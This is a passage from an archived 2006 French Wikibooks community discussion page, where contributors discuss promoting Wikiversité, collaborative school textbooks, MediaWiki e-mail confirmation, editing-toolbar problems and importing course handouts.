actuelle une note d'intention et une présentation avant le 15 mars 2006, de façon à ce que celle-ci soit publiée à l'attention des membres sur le site Wikimedia.fr. [http://fr.wikipedia.org/wiki/Utilisateur:Jastrow Jastrow] 27 février 2006 à 09:36 (UTC) :Habitant un peu trop loin et pris dans d'autres priorités, est-ce qu'un wikibookien, wikiauteur pourrait y aller pour défendre notre bifteck ? La plupart des encyclopédistes ignorent les autres projets comme wikilivres, wikisource, wikiquote, commons, wiktionnaire, faudrait quelqu'un de costaud ;) [[Utilisateur:Greudin|Greudin]] 28 février 2006 à 16:54 (UTC) :: C'est loin paris mais je suis peut être intéressé pour faire parler de la wikiversité. [[Utilisateur:Merrheim|Merrheim]] 28 février 2006 à 16:56 (UTC) == partenaires == salut tout le monde Nous sommes de jeunes informaticiens resident en Afrique de L'Ouest ( TOGO ), nous voulons vraiment promouvoir LINUX chez nous , S.V.P pouvez vous nous aider à le faire par vos suggestions et conseils . nos serons vraiment heureux de lire vos lettres . Du courage à tous ceux qui luttent pour la promoton de Linux. voici notre contact : borntowin186@yahoo.fr ou tel 002289082070 merci : Vous avez tout notre soutien pour la promotion de linux et des logiciels libres associés. Il pourrait être intéressant de créer un document "Comment migrer vers Linux" où vous feriez part de vos soucis et questions, où nous recherchions ensemble des réponses et rédigerions ensemble des documents pour faire partager à d'autres votre expérience. [[Utilisateur:Merrheim|Merrheim]] 2 mars 2006 à 11:51 (UTC) ::Je soutien également l'initiative, et pourrai, le cas échéant, aider à répondre à certains soucis ;) --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 3 mars 2006 à 23:15 (UTC) ==Authentification d'adresses e-mail== [[Image:Nuvola_apps_important.svg|Important|left|50px]] '''Pour qui ne le saurait pas encore''' : les développeurs viennent de mettre en place, sur tous les projets de la Wikimedia Foundation (c'était déjà opérationnel sur les projets commerciaux de Wikia) une procédure d'authentification des adresses électroniques indiquées par les contributeurs dans leurs [[Special:Preferences|préférences Utilisateur]]. Concrètement, il faut que tous les utilisateurs ayant validé la possibilité de recevoir du courrier électronique via l'interface de Wikinews (et donc de pouvoir en envoyer eux-mêmes par le même moyen) aillent dans les préférences. Ceux qui avaient auparavant validé cette option trouveront, dans la zone "E-mail" de l'onglet "Informations personnelles", les phrases « Your e-mail address is not yet authenticated. No e-mail will be sent for any of the following features. » avec, juste au-dessous, un lien « [[Special:Confirmemail|Confirm your e-mail address]] ». Cliquer sur ce lien (depuis les préférences) ouvre une page avec un paragraphe d'explications, et un bouton "Envoyer un code de confirmation" (selon la langue choisie dans votre interface). Cliquer sur le bouton envoie' un message dans votre boîte aux lettres électronique, message dans lequel il suffit de cliquer sur un lien de confirmation. Tant qu'un utilisateur – ayant auparavant stocké son adresse e-mail dans la base – n'a pas authentifié cette adresse avec la nouvelle procédure, il reste injoignable par le lien « Envoyer un message à cet utilisateur » de la boîte à outils. Les autres contributeurs, même s'ils ont déjà authentifié leur propre adresse, reçoivent le message d'erreur suivant : « Pas d'adresse électronique [titre] Cet utilisateur n'a pas spécifié d'adresse électronique valide ou a choisi de ne pas recevoir de courrier électronique des autres utilisateurs. [texte très imprécis] Revenir à la page [[Accueil]] » (cf. messages [[MediaWiki:noemailtitle]] et [[MediaWiki:noemailtext]], qui sont les messages d'erreur habituellement servis lorsqu'on cherche à joindre quelqu'un qui n'a pas spécifié d'adresse électronique...) Discussions traitant du même sujet sur Wikipédia: [[w:Wikipédia:Le Bistro/3 mars 2006#Confirmation d'Email|Wikipédia:Le Bistro/3 mars 2006#Confirmation d'Email]] et [[w:Wikipédia:Bulletin des administrateurs#Urgent pour tous les administrateurs|Wikipédia:Bulletin des administrateurs#Urgent pour tous les administrateurs]]. Ma première réaction a évidemment été de ronchonner, mais en y réfléchissant, les développeurs ne se sont sans doute pas résolus à imposer cette petite contrainte sans raison majeure. :D [[User:Hégésippe Cormier|Hégésippe]] | [[User talk:Hégésippe Cormier|±Θ±]] 3 mars 2006 à 15:03 (UTC) :Merci HC d'avoir prévenu tout le monde. J'ai pas bien compris la raison du developpeur Brion [http://mail.wikipedia.org/pipermail/wikitech-l/2006-March/034206.html]. [[w:Spamcop|SpamCop]] a blacklisté notre serveur de mail parce qu'un ou plusieurs utilisateurs ont mis une adresse spamtrap dans leurs préférences. Que sont ces adresses spamtrap ? Quelqu'un qui envoie un email à ces adresses est automatiquement blacklisté ? [[Utilisateur:Greudin|Greudin]] 3 mars 2006 à 23:10 (UTC) ==Wikibuzz ([[Wikiversité]])== Le [[w:Wikipédia:Le_Bistro#Wikiversité|bistro des encyclopédistes]] parle de la [[wikiversité]]. [[Utilisateur:Greudin|Greudin]] 4 mars 2006 à 08:40 (UTC) == Essai sur la stratégie des logiciels == Bonjour, j'ai écris un essai sur la stratégie politique concernant l'informatique. Comme nous sommes maintenant plusieurs à essayer de l'améliorer, j'avais pensé le publier en GFDL. Est-ce dans l'esprit de Wikibooks d'accueillir ce genre d'essai ou Wikibooks est-il consacré à des livres plus didactiques? Merci, [[Utilisateur:Guimard|Guimard]] 11 mars 2006 à 08:08 (UTC) :Wikilivres privilégie les livres didactiques, si cet essai offre un instantané neutre sur ce thème pourquoi pas, les ''livres blancs'' ont leur place ici àmha. [[Utilisateur:Greudin|Greudin]] ::Y-a-t-il un Wiki... où on puisse diffuser ce genre d'essai ? [[Utilisateur:Guimard|XG]] 12 mars 2006 à 08:49 (UTC) :::J'utilise [[w:Wikicities|Wikicities]].com car il permet de créer son wiki. [[Utilisateur:Greudin|Greudin]] == Premier manuel scolaire libre écrit collaborativement (Mathématiques) == Une asso de profs de math (Sésamath) vient de publier le premier manuel scolaire libre écrit collaborativement (sans utiliser un wiki a priori mais via une liste de diffusion). Le manuel est sous licence FDL, quelles seraient les contraintes pour l'importer sur Wikilivres ? *http://manuel.sesamath.net/ *[http://www.framasoft.net/article339.html article sur Framasoft] :Bon il faudra faire aussi bien. C'est pour quand le premier livre terminé ! [[Utilisateur:Merrheim|Merrheim]] 11 mars 2006 à 15:50 (UTC) == Fiches de lecture == Salut, j'ai créé deux articles sur le site de l'encyclopédie, mais je me rends compte qu'un de ces articles n'est pas trop encyclopédique vu que c'est en fait une fiche de lecture. J'ai fait un peu le tour des projets, et votre site doit pouvoir permettre ce type de travaux peut-être ? Je voudrais faire un ensemble de fiches de lecture sur la Grèce antique. Est-ce que cela correspond à votre projet. Merci. Page ici : http://fr.wikipedia.org/wiki/Histoire_de_la_civilisation_grecque_%281898-1902%29 [[Utilisateur:Sextus|Sextus]] 14 mars 2006 à 16:29 (UTC) :Oui ! Les textes commentés, les fiches de lecture mais pas les traductions(wikisource si DP). [[Utilisateur:Greudin|Greudin]] 14 mars 2006 à 19:34 (UTC) == Manuels Scolaires == Venant de Wikipedia, je trouve trés interessant le concept de Wikilivres. C'est dommage que ce projet soit moins connu. Je pense que le principe de livre de référence et livre de vulgarisation est important a séparer. J'aimerai savoir ce que la communauté pense de l'idée de faire des manuels scolaires. Cela pourais servir de vitrine, beaucoup d'elèves et enseignants pouraient y participer en y ajoutant leur vision des choses et de la manière de les présenter pour qu'elles soit plus accsésibles. Je pense qu'il faudrai instaurer un système de double numérautation des pages . Chaque page correspondrai a une page dans un ouvrage de vulgarisation et a une autre page dans un livre de référence(par exemple 1ère S - SVT - Collision Continentale et a une autre dans Géologie - Mouvements de Lithosphère - Collison Continentale). Tout en commençant l'article par un cadre Prérequis. Je ne souhaite pas forcement privilégier le système scolaire français sur le canadien ou le belge mais ce n'est qu'un point d'entré. Je pense que ce porjet pourait s'articuler d'une certaine façon entre wikiuniversité et wikijunior. Plutôt que de se lancer a l'aveuglette je pense qu'il faut réfléchir a la pédagogie, présentaion, exercices, etc.. Priviligier peut etre l'ouverture Culturelle des sujets vers wikipédia. Bref je sais que je ne suis qu'un nouveau qui ne connait pas trés bien les projets déja en cours mais c'est que j'apprecie beaucoup ce projet et je souhaite le porter. Il existe déja la page [[Enseignement secondaire]] pour réunir les grands axes des programmes scolaire et bien sur le wikilivre [[Manuel de philosophie (terminale)]]. Je voit qu'on en parle déja (manuel de maths) il faudrait formaliser tout ça. [[Utilisateur:Lunisdies|Lunisdies]] :Oui, mais il faudrait àmha s'affranchir des sigles, du formalisme du système éducatif français, wikilivres est francophone (voir [[w:francophonie]])). La seule contrainte est d'indiquer(voire justifier) que la progression adoptée (ou cursus) est celle du système éducatif de France mais d'éviter de s'enfermer avec des termes très techniques (TPE, IDD, L1, etc) qui peuvent être obsolètes dans quelques années suite à un changement de politique éducative qu'en France. [[Utilisateur:Greudin|Greudin]] 17 mars 2006 à 09:50 (UTC) : Je pnse qu'il faudrait peut-être commencer par écrire un bouquin scolaire type : mathématique niveau seconde (programme français). Déjà un bouquin terminé sur ce sujet seriat déjà énorme. [[Utilisateur:Merrheim|Merrheim]] 17 mars 2006 à 12:08 (UTC) : Bon on lance un projet Manuel de Mathématiques de 2nd (Programme français) ? [ftp://trf.education.gouv.fr/pub/edutel/bo/2001/hs2/mathematiques.pdf Le programme officiel] Voila de quoi faire le plan. [[Utilisateur:Lunisdies|Lunisdies]] ::Allez on y va [[Mathématiques_niveau_seconde]] [[Utilisateur:Merrheim|Merrheim]] 21 mars 2006 à 16:18 (UTC) == Logo Wikibooks vs Wikilivres == Pourquoi [[Image:Wikibooks-logo-en.svg|100px]] comme logo et non pas [[Image:Wikibooks-logo-fr.png]] ? [[Utilisateur:Lunisdies|Lunisdies]] :Jnspj, mais Wikilivres a été je crois déposé comme marque par une société parasite ([[m:Domain_names|un cybersquatteur ou typosquatteur]]), le conseil d'administration de l'asso 1901 est dans l'ensemble contre l'utilisation d'une marque même cybersquatté par un parasite (car il y a des précédents malheureux sur la toile) en attendant une transaction à l'amiable.<br /> :Concernant le logo, un graphiste portugais Rei-artur a recréé le logo sous format libre (svg) mais mes compétences en graphisme sont limitées et je ne suis pas arrivé à franciser le logo [[:commons:Image:Wikibooks-logo.svg]]. Après on pourra remplacer wiki.png avec notre logo. [[Utilisateur:Greudin|Greudin]] == Modèle à paramètres == Bonjour, J'ai créé un modèle [[modèle:Appareil compact numérique]] en vue de l'utiliser dans le wikilivre de photographie. Ce modèle est en test sur [[Utilisateur:Jean-Jacques_MILAN/essai]]. Il y a toutefois quelques petits problèmes, si on compare le résultat avec ce que donne [[modèle:Définition]]. * en ouvrant le « modifier » de définition, on arrive sur la section B et le modèle, qui est inscrit sur la section A, a disparu. En ouvrant le « modifier » de Truc ou de Casio, on tombe sur la section D, dans les deux cas on ne peut pas modifier les données. * en ouvrant la section A on peut modifier le contenu de la boîte mais en ouvrant la section C les boîtes disparaissent et l'on passe directement à D * pour mettre à jour les données il est nécessaire de modifier carrément la page, ce qui n'est guère pratique pour les pages longues. Il y a donc deux sortes de problèmes et je n'arrive pas à trouver la manière de les résoudre. Quelqu'un aurait-il une idée ? Amitiés. [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 18 mars 2006 à 12:08 (UTC) :Très étrange en effet, juste testé sur [[Utilisateur:Jean-Jacques MILAN/essai]] et le comportement est le même ce doit être un bogue. En tout cas bravo pour le titre de modèle explicite c'est assez rare ! [[Utilisateur:Greudin|Greudin]] 18 mars 2006 à 14:59 (UTC) ::J'ai pas bien compris ce que tu recherches. Est-ce un truc de ce style [[Utilisateur:Merrheim/test]] ? Amitié [[Utilisateur:Merrheim|Merrheim]] 18 mars 2006 à 15:08 (UTC) ==wikilivres pour de jeunes utilisateurs== Je trouve excellente l'initiative des wikilivres pour de jeunes utilisateurs. Une critique, toutefois, le classement par rubriques calquées sur les disciplines universitaires. Prenons l'exemple du vêtement. S'agit-il d'un problème de sociologie, de technologie, de biologie des matières naturelles, de chimie, d'histoire ou de tout cela imbriqué? Ce qui a sauvé l'Encyclopédie de Diderot et D'Alembert, c'est d'avoir classé par ordre alphabétique tous les problèmes, y compris avec les acceptions diverses du même mot. Si elle avait classé les problèmes philosophiques et sociaux à part des autres, nul doute que le blocage aurait total de la part des autorités de l'époque. Dans le cas de Wiki, ce n'est pas la censure qui est dangereuse, mais l'habitude de classer en descendant du général au particulier, alors qu'un jeune cherche un point de détail et qu'il est indispensable à sa formation d'être initié à tout ce qui relie son sujet de départ à de nombreux problèmes fondamentaux. Là se trouve, la véritable formation en profondeur. MIC ==Divers== Hello, je suis nouveau et j'ai quelques questions d'organisation ? Pourrait-on résumer les principales différences à connaître pour écrire ici lorsque l'on vient de wikipedia ? J'ai cru comprendre : * Qu'il fallait écrire les titres ou liens avec des "/" pour faires des sous-pages. * Qu'il ne fallait pas abuser dans la profondeur des pages * Qu'en est-il de l'utilisation ou non des espaces de nommage ? Je trouve ça étrange, l'utilisation de catégories n'est-elle pas plus indiquée ? * et en ce qui concerne les Wikilivres:Modèles on est censé faire quoi avec tout ça ? Perso j'écris un tutoriel sur [[Lisaac]]. C'est un langage de programmation nouveau et quasi inconnu. Donc a priori l'intérêt pour wikiversité n'est pas énorme (trop spécialisé). Comment est-ce que je dois faire pour m'intégrer dans les pages déjà existantes (si c'est une bonne idée) ? Sinon je suis actuellement en stage de recherche en informatique dans le domaine des méthodes formelles. Et j'aimerais bien écrire quelques pages là-dessus. Surtout que je pourrais utiliser des parties de mon (futur) rapport de stage. Autant joindre l'utile à l'utile :) D'ailleurs tous les étudiants en Master 1 et 2 doivent écrire des rapports, si quelques uns donnaient leurs textes ça ferait beaucoup avancer les choses, qu'en pensez-vous ? Et puis au moins ces rapports serviraient à autre chose qu'à caler les meubles dans les universités. D'ailleurs j'ai un tuto en latex sur la compression d'images par ondelettes qui traîne sur mon disque. [[Utilisateur:Outs|Outs]] 27 mars 2006 à 22:34 (UTC) : Bonsoir, : La différence essentielle avec WP est la possibilité de rédiger ici des documents volumineux et approfondis, avec des plans précis, ce qui est quasi impossible dans l'encyclopédie. Sur WP il se trouve toujours quelqu'un pour trouver votre travail trop long et le charcuter sans trop réfléchir. Ou l'on essaie de recoller les morceaux, ou chacun d'eux prend son envol indépendamment des autres et c'en est fini de la cohérence de l'ensemble. Dans les deux cas on arrive à des conflits où l'on perd énormément de temps, et je sais de quoi je parle. Les liens sont très pratiques mais ils fonctionnent dans les deux sens et ne peuvent indiquer la nécessité de lire certaines parties avant d'autres. : Ici, pour l'instant, on peut organiser son travail dans la sérénité. : La publication d'un rapport de stage industriel pose un double problème : :* si le travail réalisé est inintéressant (c'est presque toujours le cas lorsque le stagiaire est considéré comme de la main-d'œuvre à bon marché et non comme un jeune en cours de formation) ou s'il est mauvais, il vaut mieux l'oublier, :* si le travail réalisé est intéressant, apporte des innovations, ... alors sa publication se ferait au mépris de la confidentialité la plus élémentaire et il vaut mieux, dans ce cas-là aussi, l'oublier. : Ceci étant dit, ou plutôt écrit, il peut exister des exceptions à cette règle et bien entendu les informations utiles et susceptibles d'être publiées sont mieux dans les pages de WL qu'à la poubelle. : Amitiés. [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 27 mars 2006 à 23:22 (UTC) ::Merci bien pour la réponse. Moi je ne pense pas qu'il y ait autant d'ecueils pour l'utilisation de rapport d'étudiant Bon ca dépend énormément des cas, bien sur. Mais déjà il n'y a pas, il me semble, de parties confidentielles vis à vis de l'entreprise dans le rapport car celui ci fait l'objet d'une soutenance publique et est donc considéré comme extérieur à l'entreprise. Ensuite chaque étudiant doit, théoriquement, amener son sujet en étant compréhensible par un informaticien non spécialisé. C'est surtout à cette partie que je pensais. Je me souviens que j'avais beaucoup travaillé pour rendre compréhensible mon discours (que je venais a peine de comprendre je t'accorde que le résultat n'est pas forcement génial). Mais en fait en Master 1ere année, on ne réalise pas un stage mais un travail d'étude et de recherche (TER) qui consiste essentiellement a essayer de comprendre un sujet spécialisé et de résumé tout cela par écrit. Imagine quand même le nombre de rapport par an que cela fait... Bon de toute façon c'est qu'un idée en l'air et je n'ai (mal)heursement auncune influence sur les étudiants pour qu'ils contribuent tous à wikipedia/book.[[Utilisateur:Outs|Outs]] 27 mars 2006 à 23:53 (UTC) == Barre d'outils == Qui pourrait faire en sorte que la barre d'outils de WP (au-dessus de la fenêtre d'édition) soit également disponible sur WL ? [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 28 mars 2006 à 00:46 (UTC) :Après quelques tatonnements, il fallait màj [[MediaWiki:monobook.js]] qui est le fichier javascript chargé pour tous ceux qui ont l'habillage Monobook ([[special:preferences|préférences]]). [[Utilisateur:Greudin|Greudin]] == Encore un nouveau projet proposé pour Wikimedia : wikiteach == Il y a projet de wiki pour les pédagogues en incubation vu sur méta : [[m:Wikiteach|Wikiteach]]. Le concept est très proche de Wikijunior et Wikiversité. [[Utilisateur:Greudin|Greudin]] :Je comprend pas trop un truc si les livres genres roman/nouvelles doivent aller sur wikisource. Quel est la différence entre wikibook et wikiteach ? [[Utilisateur:Outs|Outs]] 1 avril 2006 à 12:35 (UTC) ::Pour résumer, les romans anciens dans le domaine publique vont sur wikisource, les oeuvres collaboratives actuelles vont sur wikipen et la différence wikibooks, wikiteach est faible, l'initiateur du projet semble vouloir un projet spécifique au système éducatif de son pays (US ou UK je ne sais pas). [[Utilisateur:Greudin|Greudin]] ==Changements== Heu c'est moi ou y'a plein de trucs qui ont changé : * le texte est devenu tout petit, ca fait mal aux n'oeils * les préférences n'ont plus de nom Il se passe quoi ? [[Utilisateur:Outs|Outs]] 1 avril 2006 à 16:20 (UTC) : Pareil chez moi ... [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 1 avril 2006 à 19:22 (UTC) ::Itou, devons-nous nous adapter ou mourrir ? [[Utilisateur:Greudin|Greudin]] :::Greudin sacripant enleve le <nowiki><small></nowiki> !! :p [[Utilisateur:Outs|Outs]] ::::En achetant une grosse loupe on peut transformer un simple 17 '' en un 19''.Donc il peut y avoir quelques avantages [[Utilisateur:Merrheim|Merrheim]] 2 avril 2006 à 07:22 (UTC) ::::: Ca y est tu peut jeter ta loupe et acheter un 19 pouce :) [[Utilisateur:Outs|Outs]] ::::Mea culpa :/, j'avais mal lu, il restait un small dans mediawiki:sitenotice : [http://fr.wikibooks.org/w/index.php?title=MediaWiki:Sitenotice&curid=458&diff=39504&oldid=39412]. Merci à Jean-Jacques MILAN pour l'avoir enlevé. [[Utilisateur:Greudin|Greudin]] 3 avril 2006 à 07:35 (UTC) :::::Pour pénitence tu devrai corriger toutes le fautes de français de mon wikibook que j'ai du rédiger en tout petit !! (non je rigole j'ai augmenté la taille de la police, mais tu peux corriger les fautes quand même ! :)) et après tu pourra corriger l'ensembles des autres livres !! =) [[Utilisateur:Outs|Outs]] :Etrange, ça ne le fait pas sur les autres wikis, comprends pas. [[Utilisateur:Greudin|Greudin]] ==Du nouveau sur la loi DAVSI== Les décrets d'application de la loi DAVSI sont en cours de rédaction et il y a du nouveau pour les notes de cours pris par les étudiants : afin de permettre aux universités de vendre plusieurs fois le même cours, les étudiants ne pourraient prendre des notes qu'avec un stylo équipé d'une DRM. Ce stylo autoriserait la prise de note durant le cours mais interdirait sa photocopie ou la duplication ultérieure des notes de cours. Ceci pose de nombreux problèmes pratiques : un étudiant malade ne pourrait plus faire photocopier les notes de cours de ses camarades. Il faudrait signer une pétition de protestation vous ne croyez pas ? [[Utilisateur:Merrheim|Merrheim]] 1 avril 2006 à 19:25 (UTC) : Comment peut-on aider un étudiant qui paye ses cours ? : Signé : le contrepéteur fou. [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 1 avril 2006 à 19:55 (UTC) :: Ben tu pourrais commencer par me donner ses sous si tu veux :) Pour que je puisse acheter mon stylo Big Brother :) [[Utilisateur:Outs|Outs]] == Lien avec le wiktionnaire == Je me posais la question de savoir comment on pouvait lier wikilivre avec le wiktionnaire, et faire un peu appel à vos idées. Je pense que vous pourriez facilement avoir dans vos livres une section glossaire qui pointe vers des mots définis dans le wiktionnaire. Je voyais un joli cadre avec une liste de mots. Mais je me demandais si vous aviez d'autres idées, et surtout si vous aviez des idées dans l'autre sens. [[Utilisateur:Jrcourtois|'''JR''']] <small>[[Discussion_Utilisateur:Jrcourtois|disc]]</small> 12 avril 2006 à 07:59 (UTC) :Bonjour, il y a la syntaxe suivante pour les glossaires : <code><nowiki>;le mot:la definition</nowiki></code>, ce qui donne : ;le mot1:la définition1 ;le mot2:la définition2 :Il y a également le modèle {{m|Wiktionnaire}} qui donne ceci pour "lion" : {{Wiktionnaire|lion|Le lion}} :Effetivement, on pourrait penser à une autre syntaxe proposant la définition du wiktionnaire de plusieurs mots. une sorte de {{m|Wiktionnaire}} acceptant en paramètre une liste de mot. Ce doit être faisable (un peu comme les boîtes utilisateurs sur wikipédia mais avec une présentation en tableau plus adapté à la forme d'un glossaire) idée à creuser. --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 1 juin 2006 à 22:09 (CEST) ==accumulateurs au plomb== bonjour. je ne comprends rien à ce site mais j'ai l'impression qu'il y a beaucoup de bonnes choses une fois qu'on a compris le système. je suis arrivé là en cherchant des informations sur le test capacitif des accumulateurs au plomb. apparemment il y avait quelque chose mais ça semble etre en cours de réécriture. Donc j'appelle au secours: ----------- d'abord comment fonctionne ce site, de quoi traite-t-il ? ----------- ensuite quelqu'un sait il quelque chose sur le test capacitif ou alors ou je peux trouver une info? merci à tous et à bientot. == Comment s'inscrire au département informatique de la Wikiversité? == Bonjour, Je ne sais absolument pas comment m'inscrire au département informatique de la Wikiversité. Quelqu'un pourrait-il me dire comment je dois procéder? Merci d'avance. :Bonjour, orientez-vous vers la [[Wikilicence informatique]] pour des infos, le wikidoyen est le professeur [[Utilisateur:Merrheim|Merrheim]]. [[Utilisateur:Greudin|Greudin]] 21 avril 2006 à 15:21 (UTC) OK, en cherchant un peu, j'ai fini par trouver. Merci == le tour du livre en 80 jours == Timée Éditions, éditeur, et François-Xavier Hussherr, Cécile Hussherr et Marie-Estelle Carrasco, auteurs, lancent un projet intitulé « le tour du livre en 80 jours ». Demain, le 25 avril sera mis en ligne sur Internet, à l'adresse http://www.nouveaupouvoir.org et en intégralité, un ouvrage intitulé « Le nouveau pouvoir des internautes », deux jours avant sa sortie en librairie. Ce livre analyse l'impact des nouvelles technologies dans tous les aspects de notre vie quotidienne, et comment devenir acteur de ces changements plutôt que simple spectateur. Afin d'illustrer le phénomène d'intelligence collective tel qu'il se manifeste sur des sites tels que les projets de Wikimedia Foundation (parmi lesquels Wikipédia, Wiktionary, Wikibooks), le site est un wiki et, durant 80 jours, les internautes sont invités à venir participer à l'écriture d'une nouvelle version du livre, enrichie, encore plus originale. À la fin de ces 80 jours, l'ouvrage sera étudié et si le pari réussit publié à nouveau en librairie. Les dates sont donc : * mise en ligne le 25 avril * sortie en librairie le 27 avril * fin des 80 jours le 14 juillet * réédition de la nouvelle version fin 2006 ou début 2007 L'intégralité des droits d'auteur sera reversée à des associations travaillant à la réduction de la fracture numérique, les auteurs de la seconde édition choisissant les bénéficiaires des droits de celle-ci. On est bien sur tous invités à participer :-) :Initiative sympathique, je me suis inscrit pour voir le wiki. [[Utilisateur:Greudin|Greudin]] == Barre d'outils de la fenêtre d'édition == Bonjour, Depuis quelque temps les premiers outils de la barre ne fonctionnent plus : caractères gras, italiques, insertion de liens, etc. On peut évidemment s'en passer mais c'est quand même assez gênant ... [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 7 mai 2006 à 08:39 (UTC) :Idem, j'utilise à la place l'extension wikipedia firefox mais c'est moins pratique [[Utilisateur:Greudin|Greudin]] :: :: Le problème n'est pas résolu, qui pourrait arranger les choses ? [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 26 juin 2006 à 20:32 (CEST) :Rechargé les monobook.css monobook.js avec la version de l'encyclopédie sans succès. :'( [[Utilisateur:Greudin|Greudin]] 27 juin 2006 à 11:38 (CEST) == changement de l heure == Bonjour, J'ai passé ce wiki dans la zone de temps 'Europe/Paris' au lieu de l'heure UTC. [[Utilisateur:Hashar|Hashar]] 13 mai 2006 à 01:22 (CEST) == Libérez le savoir ... == Bonjour, Vous êtes étudiants ? Oui, je sais qu'il y a des étudiants parmis vous, alors liberez le savoir... Etudiants en droit, math, philo, litterature, langues mortes et vivantes, chimie, physique, technologie de l'information, comptabilité, science médico-social, lycéens, collégiens, bts, doctorant... j'en passe et certainement de meilleurs. RECOPIER vos cours sur wiki-books !!! Sans fioriture, sans mise en page recherché, recopier seulement les cours que vous avez complets, ou au moins une matière, sur wiki-books... Pourquoi ? Parceque...(merci de rajouter à la suite de cette liste toutes les bonnes raison de participer) # c'est simple # retaper un texte aide à le mémoriser # le contenu d'un cours est par définition pédagogique # c'est gratuit # vous libererez du savoir Vous n'avez pas le temps de tout retaper mais on vous dit que vous avez une belle écriture... Utilisez un logiciel de reconnaissance de caractère pour dégrossir le travail... Scannez vos cours (résolution correct, en noir et blanc si couleur non nécessaire) et charger les sur wikimedia... Quelqu'un se chargera de les intégrer au site. Commencez par vos cours de l'année dernière, vous êtes sûr qu'ils sont complets... Vous en savez bien plus que vous ne pensez... Merci d'avance :J'adore ce slogan "Libérez le savoir". Il manque juste la demande d'autorisation au prof (droit d'auteur) qui a prodigué ces cours, il va même ptet donner les cours sous forme électronique (copié collé hop là). Tu prêches des convertis, on pourrait l'intégrer ce texte dans une affichette à coller dans les lycées, facs (sur le modèle de [[meta:Promotion/fr]]) ... [[Utilisateur:Greudin|Greudin]] <small>j'ai corrigé le lien --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 30 mai 2006 à 17:38 (CEST)</small> L'idée est géniale mais ça prend beaucoup trop de temps de recopier son cour surtout un cours de math ou physique qui demandent plein de caractères spéciaux (√∏∆∀∪∩≣≡) t je vous raconte pas quand il faut écrire une fraction. :Mediawiki reconnait la syntaxe latex ([[wikilivres:bac à sable]]) pour écrire tous les symboles mais le temps d'apprentissage et d'écriture est tjrs plus long que le bon vieux stylo. [[Utilisateur:Greudin|Greudin]] ==A quand le partage de l'art ?== Y-a-til un projet wiki qui consiste à partager de l'art??? Je l'ai vu pour des livres d'auteur... Mais je ne l'ai pas vu pour des personnes "non connue" et qui désirent partager ce qu'ils font. Je pense à des nouvelles, des romans, à des bande dessinée et pourquoi pas de la musique... Je ne sais pas se que vous en penser, moi je trouve ça bien mais je ne sais pas si ça rentre dans le projet wiki. Corent1 :Cela existe sur plusieurs wikis, notamment Wikipen qui est maintenu par des wikipédiens [http://www.wikipen.org http://www.wikipen.org] mais je ne me rappelle pas avoir vu de la musique. Wikilivres malgré son nom, n'englobe pas les oeuvres de fiction ou avec point de vue. [[Utilisateur:Greudin|Greudin]] ::Il existe une communauté de personnes qui partagent leur musique: ca s'appelle le [[w:demomaking]]. Tu peux trouver de la musique libre sur les pages personnelles de leurs acteurs: Skaven par exemple fait des choses excellentes : http://www.futurecrew.com/skaven/tracker_music.shtml (''the goblin returns'' par exemple) [[Utilisateur:Meithal|Meithal]] 6 juin 2006 à 15:02 (CEST) ==Wikijunior== Un [[w:Projet:Wikipédia Junior|projet Wikipédia Junior]] a vu le jour sur l'encyclopédie et a un écho positif, pourquoi ne pas regrouper tous les efforts sous le même nom et logo wikijunior ? [[Utilisateur:Greudin|Greudin]] :Je trouve que c'est une bonne idée. Accessoirement, le logo proposé pour [[w:Projet:Wikipédia Junior|Wikijunior]] me plais mais pas la typo du mot ''Wikijunior''.[[Utilisateur:Mly|Mly]] Pour info; avoir interpellé [[w:fr:Utilisateur:Anthère|Anthère]] [[w:fr:Discussion_Utilisateur:Anthere#Projet:Wikipédia Junior|ici]], il serait pas mal de continuer aussi sur les wikilivres de [[Wikijunior]] pour les intégrer à leur projet. Ces deux projets ne sont pas incompatibles mais complémentaires. --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 26 mai 2006 à 17:10 (CEST) ==Player en ligne sur le wiki== Avec l'avènement du podcast de très nombreux sites permettent de lire les fichiers audio ou vidéo directement à partir de la page sans changer de page ou charger de programme spécifique (exemple [[http://www.youtube.com you tube]] ou ce type de [[http://www.generationmp3.com/zik2zik/index.php/2006/05/13/168-le-gros-boeuf-les-lives-acoustiques-de-sam-et-thierry-blanchard pages]]). Ce serai bien plus convivial si l'on pouvais ajouter ce type de lien sur le wiki... avis aux spécialistes... [[Utilisateur:Mly|Mly]] :Cette fonctionnalité manque, j'ai cherché un endroit pour soumettre cette fonctionnalité sur http://mediawiki.org mais cela ne donne qu'un lien vers la base de bugs (http://bugzilla.wikimedia.org/). ''En passant la doc de mediawiki a besoin d'être ébauchée(traduction) en français sur http://www.mediawiki.org/wiki/Documentation/fr''. [[Utilisateur:Greudin|Greudin]] ::::<small>Pour traduire la doc, il y a aussi [[meta:Aide:Manuel_de_MediaWiki]] --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 26 mai 2006 à 17:35 (CEST)</small> == transformation polycop écrits sous word en wikibook == Bonjour, Je suis professeur de génie électrique. J'ai rédigé un certains nombres de polycopiés d'électricité (cours+exos) sous word (nul n'est parfait) et je souhaiterais les placer ici, les transformer en wikibook. Le problème est que ça n'a pas l'air simple du tout. Il faudrait que j'enregistre les images à part pour les transférer, idem pour les nombreuses formules....j'ai l'impression qu'il faudrait quasiment que je recommence tout à 0. Quelqu'un peut-il me confirmer mes impressions ou me donner la recette miracle qui me permettrait d'économiser un temps fou ? Merci d'avance. Behn Eschenburg : Bonjour Collègue ! : Pour le texte, il vaut mieux d'abord enregistrer les fichiers d'origine au format txt ou rtf, puis les transférer par copier-collé. : Les photos, dessins et autres figures sont transformés en images .gif si tu enregistres tes polycops au format html, mais je suppose que tu les as déjà sous leur forme d'origine puisque tu les as inclus dans tes documents. Dans tous les cas tu dois les charger sur Commons avant de les réutiliser. S'il y en a beaucoup, il est 